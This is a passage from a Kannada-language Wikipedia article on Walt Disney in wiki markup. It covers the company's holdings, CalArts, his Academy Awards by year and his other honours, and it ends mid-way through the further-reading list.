ಸಾಮ್ರಾಜ್ಯ === ಇಂದು, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಆನಿಮೇಷನ್‌/ಚಲನಚಿತ್ರ ಸ್ಟುಡಿಯೊಗಳು ಮತ್ತು ಥೀಮ್‌ ಪಾರ್ಕ್‌ಗಳು ಅವರ ಹೆಸರಿನಲ್ಲಿ ಬಹು-ಶತಕೋಟಿ ಡಾಲರ್‌ ಮೌಲ್ಯದ ದೂರದರ್ಶನ, ಚಲನಚಿತ್ರ, ರಜಾದಿನದ ಸಂದರ್ಶನಾಸ್ಥಳ ಮತ್ತು ಮಾಧ್ಯಮಗಳ ನಿಗಮಗಳಾಗಿವೆ. ಇಂದು [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕಂಪೆನಿ]] ಇತರೆ ಆಸ್ತಿ-ಪಾಸ್ತಿಗಳ ಪೈಕಿ ಐದು ರಜಾಕಾಲದ ರೆಸಾರ್ಟ್‌, ಹನ್ನೊಂದು ಥೀಮ್‌ ಪಾರ್ಕ್, ಎರಡು ನೀರಿನ ಉದ್ಯಾನ, ಮುವ್ವತ್ತೊಂಬತ್ತು ಹೊಟೆಲ್‌, ಎಂಟು ಚಲನಚಿತ್ರ ಸ್ಟುಡಿಯೊ, ಆರು ರೆಕಾರ್ಡ್‌ ಲೇಬೆಲ್‌, ಹನ್ನೊಂದು ಕೇಬಲ್‌ ದೂರದರ್ಶನ ವಾಹಿನಿಗಳು ಮತ್ತು ಒಂದು ಪ್ರಾದೇಶಿಕ ಟೆಲೆವಿಸನ್ ಜಾಲದ(ಟೆರೆಸ್ಟ್ರಿಯಲ್‌) ವಾಹಿನಿಯೂ ಸೇರಿವೆ. 2007ರಲ್ಲಿ ಸಂಸ್ಥೆಯು ವಾರ್ಷಿಕ U.S. $35 ಶತಕೋಟಿ ಆದಾಯ ಗಳಿಸಿತು.<ref>{{cite web|title= Walt Disney corporate website|url= http://corporate.disney.go.com/investors/index.html|accessdate=2008-05-21|publisher=[[Disney]]}}</ref> === ಇಂದಿನ ಡಿಸ್ನಿ ಆನಿಮೇಷನ್‌ === ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ಸಂಸ್ಥೆ ಆರಂಭಿಸಿದಾಗ ಬಳಸಿದ [[ಸಾಂಪ್ರದಾಯಿಕ ಕೈಯಿಂದ-ಬಿಡಿಸಿದ ಅನಿಮೇಷನ್‌]]ನ್ನು ಕೆಲಕಾಲ [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಆನಿಮೇಷನ್‌ ಸ್ಟುಡಿಯೊ]]ದಲ್ಲಿ ಪುನರ್ರಚಿಸಲಾಗಿರಲಿಲ್ಲ. ಕಳೆದ 2000ದ ದಶಕದ ಆರಂಭದಲ್ಲಿ, ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಆನಿಮೇಟ್‌ ಆದ ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳು ವಿಫಲವಾದ ಕಾರಣ [[ಪ್ಯಾರಿಸ್‌]] ಮತ್ತು [[ಆರ್ಲೆಂಡೊ]]ದಲ್ಲಿರುವ ಎರಡು ಉಪ-ಸ್ಟುಡಿಯೊಗಳನ್ನು ಮುಚ್ಚಲಾಯಿತು. [[ಬರ್ಬ್ಯಾಂಕ್‌]]ನಲ್ಲಿರುವ ಪ್ರಮುಖ ಸ್ಟುಡಿಯೊವನ್ನು ಕಂಪ್ಯೂಟರ್‌ ಆನಿಮೇಷನ್‌ ನಿರ್ಮಾಣ ಘಟಕವಾಗಿ ಪರಿವರ್ತಿಸಲಾಯಿತು. ಕಳೆದ 2004ರಲ್ಲಿ, ಡಿಸ್ನಿ ಸಂಸ್ಥೆ ತಮ್ಮ ಅಂತಿಮ 'ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಆನಿಮೇಟೆಡ್‌' ಎನ್ನಲಾದ ಚಲನಚಿತ್ರ ''[[ಹೋಮ್‌ ಆನ್‌ ದಿ ರೇಂಜ್‌]]'' ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಆದರೆ, 2006ರಲ್ಲಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು [[ಪಿಕ್ಸಾರ್‌]] ಸಂಸ್ಥೆಯನ್ನು ತಮ್ಮದಾಗಿಸಿಕೊಂಡು, [[ಜಾನ್‌ ಲ್ಯಾಸೆಟರ್‌]] ಚೀಫ್‌ ಕ್ರಿಯೇಟಿವ್‌ ಆಫಿಸರ್‌ ಆಗಿ ಬಡ್ತಿ ಪಡೆದ ಫಲವಾಗಿ, ಈ ನಿರ್ಧಾರ ಬದಲಿಸಿದೆ. 2009ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ದಿ ಪ್ರಿನ್ಸೆಸ್‌ ಅಂಡ್‌ ದಿ ಫ್ರಾಗ್‌]]'' ಚಲನಚಿತ್ರದೊಂದಿಗೆ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯು ಸಾಂಪ್ರದಾಯಿಕ ಹಸ್ತ-ರಚನೆಯ ಆನಿಮೇಷನ್‌ನತ್ತ ಮರಳಿತು. === ಕ್ಯಾಲ್‌ಆರ್ಟ್ಸ್‌ === ತಮ್ಮ ಜೀವನದ ಉತಾರಾರ್ಧದಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಇಂಸ್ಟಿಟ್ಯೂಟ್‌ ಆಫ್‌ ದಿ ಆರ್ಟ್ಸ್‌]]ಗೆ (ಕ್ಯಾಲ್‌ಆರ್ಟ್ಸ್‌) ಧನಸಹಾಯ ಮಾಡುವುದರಲ್ಲಿ ಗಮನಾರ್ಹ ಸಮಯ ಮೀಸಲಿಟ್ಟರು. 1961ರಲ್ಲಿ [[ಲಾಸ್‌ ಏಂಜೆಲೀಸ್‌ ಕನ್ಸರ್ವೇಟರಿ ಆಫ್‌ ಮ್ಯೂಸಿಕ್‌]] ಮತ್ತು [[ಚೂಯಿನಾರ್ಡ್‌ ಆರ್ಟ್‌ ಇಂಸ್ಟಿಟ್ಯೂಟ್‌]] ವಿಲೀನವಾಗಿ ಕ್ಯಾಲ್‌ಆರ್ಟ್‌ ಆಸ್ತಿತ್ವಕ್ಕೆ ಬಂದಿತು. (1930ರ ದಶಕದಲ್ಲಿ ಚೂಯಿನಾರ್ಡ್‌ ಆನಿಮೇಷನ್‌ ಸಿಬ್ಬಂದಿಯವರಿಗೆ ತರಬೇತಿ ನೀಡುವುದರಲ್ಲಿ ನೆರವಾಗಿತ್ತು). ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ನಿಧನರಾದಾಗ ಅವರ ಎಸ್ಟೇಟ್ ನ ನಾಲ್ಕನೆಯ ಒಂದು ಭಾಗವು ಕ್ಯಾಲ್‌ಆರ್ಟ್ಸ್‌ಗೆ ಹೋಯಿತು. ಅದಕ್ಕೆ ತನ್ನದೇ ಕ್ಯಾಂಪಸ್ ನಿರ್ಮಿಸಲು ನೆರವಾಯಿತು. ಅವರ [[ಉಯಿಲಿ]]ನಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಹಲವಾರು ದಾನಶೀಲ ದತ್ತಿಗಳ ಸ್ಥಾಪನೆಗೆ ನಾಂದಿಯಾದರು. ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಇಂಸ್ಟಿಟ್ಯೂಟ್‌ ಆಫ್‌ ದಿ ಆರ್ಟ್ಸ್‌ ಮತ್ತು ಇನ್ನೊಂದು ಡಿಸ್ನಿ ಫೌಂಡೇಷನ್‌ಗಾಗಿ ದತ್ತಿಗಳು ಸ್ಥಾಪಿತವಾದವು.<ref>{{cite web|title= Walt Disney's will|url= http://www.doyourownwill.com/disney.asp|accessdate=2008-01-03|publisher=Do Your Own Will}}</ref> [[ವ್ಯಾಲೆಂಷಿಯಾ]]ದಲ್ಲಿರುವ ಗೋಲ್ಡೆನ್‌ ಓಕ್ಸ್‌ ಎಂಬ ಹುಲ್ಲುಗಾವಲಿನಲ್ಲಿನ ಜಮೀನನ್ನು {{convert|38|acre|km2|3|abbr=on}} ಶಾಲೆಗಾಗಿ ದಾನ ಮಾಡಿದರು. 1972ರಲ್ಲಿ ಕ್ಯಾಲ್‌ಆರ್ಟ್ಸ್‌ ವ್ಯಾಲೆಂಷಿಯಾ ಕ್ಯಾಂಪಸ್‌ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡಿತು. ಆರಂಭಿಕ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವಿವರಿಸಿದ್ದು ಹೀಗೆ: {{cquote|A hundred years ago, [[Richard Wagner|Wagner]] conceived of a perfect and all-embracing art, combining music, drama, painting, and the dance, but in his wildest imagination he had no hint what infinite possibilities were to become commonplace through the invention of recording, radio, cinema and television. There already have been geniuses combining the arts in the mass-communications media, and they have already given us powerful new art forms. The future holds bright promise for those who imaginations are trained to play on the vast orchestra of the art-in-combination. Such supermen will appear most certainly in those environments which provide contact with all the arts, but even those who devote themselves to a single phase of art will benefit from broadened horizons.<ref>{{cite book|title=Sunshine Muse: Art on the West Coast, 1945-1970|author=Plagens, Peter|page=159|year=2000|publisher=[[University of California Press]]|isbn=0520223926}}</ref>}} == ಅಕ್ಯಾಡಮಿ ಪ್ರಶಸ್ತಿಗಳು == ಅತಿ ಹೆಚ್ಚು ಅಕಾಡಮಿ ಅವಾರ್ಡ್‌ ನಾಮನಿರ್ದೇಶನಗಳು (ಐವತ್ತೊಂಬತ್ತು) ಮತ್ತು ಆಸ್ಕರ್‌‌ ಪ್ರಶಸ್ತಿಗಳ (ಇಪ್ಪತ್ತಾರು) ದಾಖಲೆಗಳು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ಸಲ್ಲುತ್ತದೆ. ಇದರಲ್ಲಿ ನಾಲ್ಕು ಆಸ್ಕರ್‌ಗಳು ವಿಶೇಷ ಪ್ರಶಸ್ತಿಗಳಾಗಿವೆ. ಅವರ ಕೊನೆಯ ಪ್ರಶಸ್ತಿಯು ಮರಣಾನಂತರ ಲಭಿಸಿತು. * '''1932''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: [[ಫ್ಲಾವರ್ಸ್‌ ಅಂಡ್‌ ಟ್ರೀಸ್‌]] (1932) * '''1932''' : ಗೌರವಾರ್ಥ ಪ್ರಶಸ್ತಿ: [[ಮಿಕ್ಕಿ ಮೌಸ್‌]] ಪಾತ್ರದ ರಚನೆ. * '''1934''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: [[ತೀ ಲಿಟ್ಲ್‌ ಪಿಗ್ಸ್‌]] (1933) * '''1935''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: [[ದಿ ಟಾರ್ಟಾಯ್ಸ್‌ ಅಂಡ್‌ ದಿ ಹೇರ್‌]] (1934) * '''1936''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ತ್ರೀ ಆರ್ಫನ್‌ ಕಿಟೆನ್ಸ್‌ (1935) * '''1937''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ದಿ ಕಂಟ್ರಿ ಕಸಿನ್‌ (1936) * '''1938''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ದಿ ಓಲ್ಡ್‌ ಮಿಲ್‌ (1937) * '''1939''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ಫರ್ಡಿನಂಡ್‌ ದಿ ಬುಲ್‌ (1938) * ಇಸವಿ '''1939''' : ಗೌರವ ಪ್ರಶಸ್ತಿ ''[[ಸ್ನೋವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ್‌ ಡ್ವೊಫ್ಸ್‌]]'' (1937) ನಲ್ಲಿನ ಉಲ್ಲೇಖ ಹೀಗಿತ್ತು: ''"ಇದು ದಶಲಕ್ಷಗಟ್ಟಲೆ ಪ್ರೇಕ್ಷಕರ ಮನಮುಟ್ಟಿ ಹೊಸರೀತಿಯ ಮನರಂಜನೆಯ ಹರಿಕಾರರ ಗಮನಾರ್ಹ ಚಿತ್ರಕಥಾ ನವೀನತೆ ಹೊಂದಿದ [[ಸ್ನೋ ವೈಟ್‌ ಅಂಡ್‌ ದಿ ಸೆವೆನ ಡ್ವೊಫ್ಸ್‌]]ಗಾಗಿ '' (ಒಂದು ಕಿರುವಿಗ್ರಹ ಮತ್ತು ಏಳು ಸಣ್ಣ ಪ್ರಮಾಣದ ಸಣ್ಣವಿಗ್ರಹಗಳನ್ನು ಪ್ರಶಸ್ತಿಯಾಗಿ ನೀಡಲಾಯಿತು)<ref name="academyaward"/> * '''1940''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ಅಗ್ಲಿ ಡಕ್ಲಿಂಗ್‌ (1939) * '''1941''' : ಗೌರವ ಪ್ರಶಸ್ತಿ: [[ಫ್ಯಾಂಟಸಿಯಾ]] (1940); ವಿಲಿಯಮ್‌ ಇ. ಗ್ಯಾರಿಟಿ ಮತ್ತು ಜೆ.ಎನ್‌.ಎ. ಹಾಕಿನ್ಸ್‌ರೊಂದಿಗೆ ಹಂಚಿಕೊಂಡದ್ದು. 'ಸರ್ಟಿಫಿಕೇಟ್‌ ಆಫ್‌ ಮೆರಿಟ್‌'ನ ಉಲ್ಲೇಖ ಹೀಗಿತ್ತು: ''"'' ಫ್ಯಾಂಟಸಿಯಾ'' ಮೂಲಕ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಧ್ವನಿಯ ಬಳಕೆಯಲ್ಲಿನ ಆಧುನೀಕರಣದ ಅಪಾರ ಕೊಡುಗೆಗಾಗಿ"'' <ref name="academyaward"/> * '''1942''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ಲೆಂಡ್‌ ಎ ಪಾವ್‌ (1941) * '''1943''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ಡರ್‌ ಫುಹ್ರರ್'ಸ್‌ ಫೇಸ್‌ (1942) * '''1949''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಎರಡು-ರೀಲ್‌ಗಳ ಅವಧಿ): ಸೀಲ್‌ ಐಲೆಂಡ್‌ (1948) * '''1949''' : [[ಇರ್ವಿಂಗ್‌ ಜಿ. ಥಾಲ್ಬರ್ಗ್‌ ಮೆಮೊರಿಯಲ್‌ ಅವಾರ್ಡ್‌]] * '''1951''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಎರಡು ರೀಲ್‌ ಅವಧಿಯ): ಬೀವರ್‌ ವ್ಯಾಲಿ (1950) * '''1952''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಎರಡು ರೀಲ್‌ ಅವಧಿಯ): ನೇಚರ್‌'ಸ್‌ ಹಾಫ್‌ ಎಕರೆ (1951) * '''1953''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಎರಡು ರೀಲ್‌ ಅವಧಿಯ): ವಾಟರ್‌ ಬರ್ಡ್ಸ್‌ (1952) * '''1954''' : ಅತ್ಯುತ್ತಮ ಸಾಕ್ಷ್ಯಚಿತ್ರ, (ಚಲನಚಿತ್ರ ರೀತಿಯ): ದಿ ಲಿವಿಂಗ್‌ ಡೆಸರ್ಟ್‌ (1953) * '''1954''' : ಅತ್ಯುತ್ತಮ ಸಾಕ್ಷ್ಯಚಿತ್ರ, (ಕಿರುಚಿತ್ರ): ದಿ ಅಲಾಸ್ಕನ್‌ ಎಸ್ಕಿಮೊ (1953) * '''1954''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ಟೂಟ್‌ ವಿಷ್ಲ್‌ ಪ್ಲಂಕ್‌ ಅಂಡ್‌ ಬೂಮ್‌ (1953) * '''1954''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಎರಡು ರೀಲ್‌ ಅವಧಿಯ): ಬೆಯರ್‌ ಕಂಟ್ರಿ (1953) * '''1955''' : ಅತ್ಯುತ್ತಮ ಸಾಕ್ಷ್ಯಚಿತ್ರ, (ಚಲನಚಿತ್ರ): ದಿ ವ್ಯಾನಿಷಿಂಗ್‌ ಪ್ರೈರೀ (1954) * '''1956''' : ಅತ್ಯುತ್ತಮ ಸಾಕ್ಷ್ಯಚಿತ್ರ, (ಕಿರುಚಿತ್ರ): ಮೆನ್‌ ಎಗೇನ್ಸ್ಟ್‌ ದಿ ಆರ್ಕ್‌ಟಿಕ್‌ * '''1959''' : ಆತ್ಯುತ್ತಮ ಕಿರುಚಿತ್ರ ಕಥೆ, (ಲೈವ್‌ ಆಕ್ಷನ್‌ ವಿಷಯಗಳು): ಗ್ರ್ಯಾಂಡ್‌ ಕೆನ್ಯಾನ್‌ * '''1969''' : ಆತ್ಯುತ್ತಮ ಕಿರುವಿಷಯದ ಚಿತ್ರ ಕಥೆ, ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು: ವಿನ್ನೀ ದಿ ಪೂಹ್‌ ಅಂಡ್‌ ದಿ ಬ್ಲಸ್ಟರಿ ಡೇ == ಇತರೆ ಗೌರವಗಳು == [[ಅನಾಹೇಂ ವಾಕ್‌ ಆಫ್‌ ಸ್ಟಾರ್ಸ್‌]]ನ ಮೊದಲ 'ಸ್ಟಾರ್‌'ನ್ನು ವಾಲ್ಟ್ ಡಿಸ್ನಿಯವರಿಗೆ ನೀಡಲಾಯಿತು. [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾದ ಅನಾಹೇಂ]] ನಗರಕ್ಕಾಗಿ ತಮ್ಮ ಅದ್ಭುತ ಕೊಡುಗೆ ನೀಡಿದ್ದಕ್ಕಾಗಿ ಈ 'ಸ್ಟಾರ್‌'ನ್ನು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ನೀಡಲಾಯಿತು. ಅವರು ಅನಾಹೇಂನಲ್ಲಿ ಡಿಸ್ನಿಲೆಂಡ್‌ನ್ನು ಸ್ಥಾಪಿಸಿದ್ದು, ಅದೀಗ [[ಡಿಸ್ನಿಲೆಂಡ್‌ ರೆಸಾರ್ಟ್‌]] ಆಗಿದೆ. ಹಾರ್ಬರ್‌ ಬೂಲ್ವಾರ್ಡ್‌ನಲ್ಲಿರುವ ಡಿಸ್ನಿಲೆಂಡ್‌ ರೆಸಾರ್ಟ್‌ನ ಪಾದಚಾರಿ ಪ್ರವೇಶದ್ವಾರದಲ್ಲಿ ಈ 'ಸ್ಟಾರ್‌' ಸ್ಥಿತವಾಗಿದೆ. [[ಹಾಲಿವುಡ್‌ ವಾಕ್‌ ಆಫ್‌ ಫೇಮ್‌]]ನಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಎರಡು 'ಸ್ಟಾರ್‌' ಪುರಸ್ಕೃತರಾಗಿದ್ದಾರೆ - ಒಂದು ಚಲನಚಿತ್ರಗಳಿಗಾಗಿ, ಇನ್ನೊಂದು ಕಿರುತೆರೆಗಾಗಿ (ದೂರದರ್ಶನ). 24 ಮೇ 1968ರಂದು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ [[ಕಾಂಗ್ರೆಸನಲ್‌ ಗೋಲ್ಡ್‌ ಮೆಡಲ್‌]] ಮರಣಾನಂತರ ಗೌರವ ನೀಡಲಾಯಿತು. (P.L. 90-316, 82 Stat. 130-131). 1935ರಲ್ಲಿ ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿ [[ಲೆಜ್ಯಾನ್‌ ಡಿ'ಆನರ್‌]] ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರಾದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.bedetheque.com/auteur-6857-BD-Disney-Walt.html|title=Disney, Walt|publisher=Bedetheque|language=French}}</ref> ಮಿಕ್ಕಿ ಮೌಸ್‌ ಪಾತ್ರದ ಸೃಷ್ಟಿಗಾಗಿ 1935ರಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ [[ಲೀಗ್‌ ಆಫ್‌ ನೇಷನ್ಸ್‌]]ನಿಂದ ವಿಶೇಷ ಪದಕ ಲಭಿಸಿತು. ಇದನ್ನು ಮಿಕ್ಕಿ ಮೌಸ್‌ ಪ್ರಶಸ್ತಿಯೆಂದೇ ಉಲ್ಲೇಖಿಸಲಾಗಿದೆ.<ref>{{cite web|accessdate=2008-05-21|url=http://hometown.aol.com/seramary/myhomepage/movies.html|title=Minnie's Cheat Sheet to my Website|publisher=[[AOL]]|archiveurl=https://web.archive.org/web/20031206205652/http://hometown.aol.com/seramary/myhomepage/movies.html|archivedate=2003-12-06}}</ref> 15 ಸೆಪ್ಟೆಂಬರ್‌ 1964ರಂದು ಅವರು [[ಪ್ರೆಸಿಡೆಂಷಿಯಲ್‌ ಮೆಡಲ್‌ ಆಫ್‌ ಫ್ರೀಡಮ್‌]] ಪದಕ ಪುರಸ್ಕೃತರಾದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://www.medaloffreedom.com/WaltDisney.htm|title=Medal of Freedom |publisher=[[Presidential Medal of Freedom]]}}</ref> ಇತ್ತೀಚೆಗೆ ಡಿಸೆಂಬರ್‌ 6 2006ರಂದು ಕ್ಯಾಲಿಫೊರ್ನಿಯಾದ ರಾಜ್ಯಪಾಲ [[ಅರ್ನೊಲ್ಡ್‌ ಷ್ವಾರ್ಜ್‌ನೆಗರ್‌]] ಮತ್ತು ಪ್ರಥಮ ಮಹಿಳೆ [[ಮಾರಿಯಾ ಷ್ರೈವರ್‌]], [[ದಿ ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಮ್ಯುಸಿಯಮ್‌ ಫಾರ್‌ ಹಿಸ್ಟರಿ, ವಿಮೆನ್‌ ಅಂಡ್‌ ದಿ ಆರ್ಟ್ಸ್‌]]ನಲ್ಲಿರುವ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಹಾಲ್‌ ಆಫ್‌ ಫೇಮ್‌]]ನಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯ ಪ್ರತಿಮೆಯನ್ನು ಸೇರ್ಪಡಿಸಿ ಮರಣಾನಂತರದ ಗೌರವ ನೀಡಿದರು. [[ಸೋವಿಯತ್‌]] ಖಗೋಳತಜ್ಞೆ [[ಲ್ಯುಡ್ಮಿಲಾ ಜ್ಯಾರ್ಜಿಯೆವ್ನಾ ಕರಾಚ್ಕಿನಾ]] ಒಂದು [[ಕಿರುಗ್ರಹ]]ವನ್ನು 1980ರಲ್ಲಿ ಪತ್ತೆ ಹಚ್ಚಿದರು. ಈ ಕಿರುಗ್ರಹಕ್ಕೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಗೌರವಾರ್ಥವಾಗಿ [[4017 ಡಿಸ್ನಿಯಾ]] ಎನ್ನಲಾಗುತ್ತಿದೆ.<ref>{{cite book | last = Schmadel | first = Lutz D.|title = Dictionary of Minor Planet Names | page = 342 | year = 2003 | publisher = [[Springer Science+Business Media]] | location = [[New York]] | url = https://books.google.com/books?q=4017+Disneya | isbn=3540002383}}</ref> ಕಳೆದ 2003ರಲ್ಲಿ [[ಲಾಸ್‌ ಏಂಜಲೀಸ್‌]]ನಲ್ಲಿ ಆರಂಭಿಸಿದ ಒಂದು ಸಂಗೀತಕಛೇರಿ ಭವನವನ್ನು [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕಾನ್ಸರ್ಟ್‌ ಹಾಲ್‌]] ಎಂದು ಹೆಸರಿಸಲಾಗಿದೆ. 1993ರಿಂದ ಆರಂಭಿಸಿ, [[HBO]] ದೂರದರ್ಶನ ವಾಹಿನಿಯು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ [[ಬಯೊಪಿಕ್‌]] ನಿರ್ಮಾಣ ಕೈಗೊಂಡಿತು. [[ಲಾರೆನ್ಸ್‌ ಟರ್ಮನ್‌]] ಇದರ ನಿರ್ಮಾಪಕರು ಮತ್ತು [[ಫ್ರ್ಯಾಂಕ್‌ ಪಿಯರ್ಸನ್‌]] ಇದರ ನಿರ್ದೇಶಕರು. ಈ ಯೋಜನೆಯು ಸಾಕಾರವಾಗದೆ ಕೈಬಿಡಲಾಯಿತು.<ref>{{cite news | author = David Rooney | url = http://www.variety.com/article/VR119623 | title = Disney wins Houston and Washington teaming ... | work = [[Variety (magazine)|Variety]] | date = 1994-03-03 | accessdate = 2009-03-31}}</ref> [[ಎಲ್‌. ನೀಲ್‌ ಸ್ಮಿತ್‌]] ರಚಿಸಿರುವ [[ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಟೆಕ್ಸಾಸ್‌]] ಮೇಲೆ ಕೇಂದ್ರೀಕೃತ [[ಪರ್ಯಾಯ ಇತಿಹಾಸ]] ಕಾದಂಬರಿಗಳಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ ಮೈತ್ರಿಯ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಟೆಕ್ಸಾಸ್‌ ಮತ್ತು [[ಕಾನ್ಫೆಡೆರೆಸಿ (ಸಂಘ)]] ತರಹ ಇದೂ ಸಹ ಒಂದು ಸರ್ವತಂತ್ರ ರಾಷ್ಟ್ರವಾಗಿದೆ. {{Start box}} {{Succession box | before = None | title = [[ಮಿಕ್ಕಿ ಮೌಸ್‌|Voice of Mickey Mouse]] | years= 1928-1947 | after= [[Jimmy MacDonald (sound effects artist)|Jimmy MacDonald]]}} {{end box}} == ಇವನ್ನೂ ನೋಡಿ == * [[ಡಿಸ್ನಿ ಕುಟುಂಬ]] * [[ದಿ ಮಿಕ್ಕಿ ಮೌಸ್ ಕ್ಲಬ್]] == ಟಿಪ್ಪಣಿಗಳು == {{reflist|2}} == ಆಕರಗಳು == * {{Cite book|first=Bob|last=Thomas|title=Walt Disney: An American Original|publisher=[[Hyperion (publisher)|Hyperion]]|year=1994|location=[[New York]]|isbn=0-7868-6027-8}} == ಹೆಚ್ಚಿನ ಓದಿಗೆ == * ಬ್ಯಾರಿಯರ್, ಮೈಕೇಲ್ (1999). ಹಾಲಿವುಡ್ ಕಾರ್ಟೂನ್ಸ್‌: ಅಮೆರಿಕನ್ ಅನಿಮೇಷನ್ ಇನ್ ಇಟ್ಸ್ ಗೋಲ್ಡನ್ ಏಜ್. ಆಕ್ಸ್‌ಫರ್ಡ್‌: ಆಕ್ಸ್‌ಫರ್ಡ್‌ ಯೂನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್. ISBN 0-19-516729-5. * [[ಬ್ರೊಗ್ಗೀ, ಮೈಕಲ್‌]] (1997, 1998, 2005). ''ವಾಲ್ಟ್ ಡಿಸ್ನಿ'ಸ್‌ ರೇಲ್ರೋಡ್‌ ಸ್ಟೊರಿ'' . ವರ್ಜಿನಿಯಾ ಬೀಚ್‌, ವರ್ಜಿನಿಯಾ. ಡಾನ್ನಿಂಗ್‌ ಪಬ್ಲಿಷರ್ಸ್‌. ISBN 1-56342-009-0 * ಎಲಿಯಾಟ್‌, ಮಾರ್ಕ್‌ (1993). ''[[Walt Disney: Hollywood's Dark Prince]]'' . ಕ್ಯಾರೊಲ್‌. ISBN 1-55972-174-X * [[ಮೊಸ್ಲೇ, ಲಿಯೊನಾರ್ಡ್‌]]. ''ಡಿಸ್ನಿ'ಸ್‌ ವರ್ಲ್ಡ್‌:ಎ ಬಯಾಗ್ರಫಿ'' (1985, 2002). ಚೆಲ್ಸೀ, MI: ಸ್ಕಾರ್ಬ್ರೊ ಹೌಸ್‌. ISBN 0-8128-8514-7. * [[ಗೇಬ್ಲರ್‌, ನೀಲ್‌]]. ''ವಾಲ್ಟ್ ಡಿಸ್ನಿ: ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌'' (2006). ನ್ಯೂಯಾರ್ಕ್‌, NY. ರ‌್ಯಾಂಡಮ್‌ ಹೌಸ್‌. ISBN 0-679-43822-X * [[ಷಿಕೆಲ್‌, ರಿಚರ್ಡ್‌]], ಮತ್ತು [[ಡೀ, ಐವಾನ್ ಆರ್‌.]] (1967, 1985, 1997). ''ದಿ ಡಿಸ್ನಿ ವರ್ಷನ್‌: ದಿ ಲೈಫ್‌, ಟೈಮ್ಸ್‌, ಆರ್ಟ್‌ ಅಂಡ್‌ ಕಾಮರ್ಸ್‌ ಆಫ್‌ 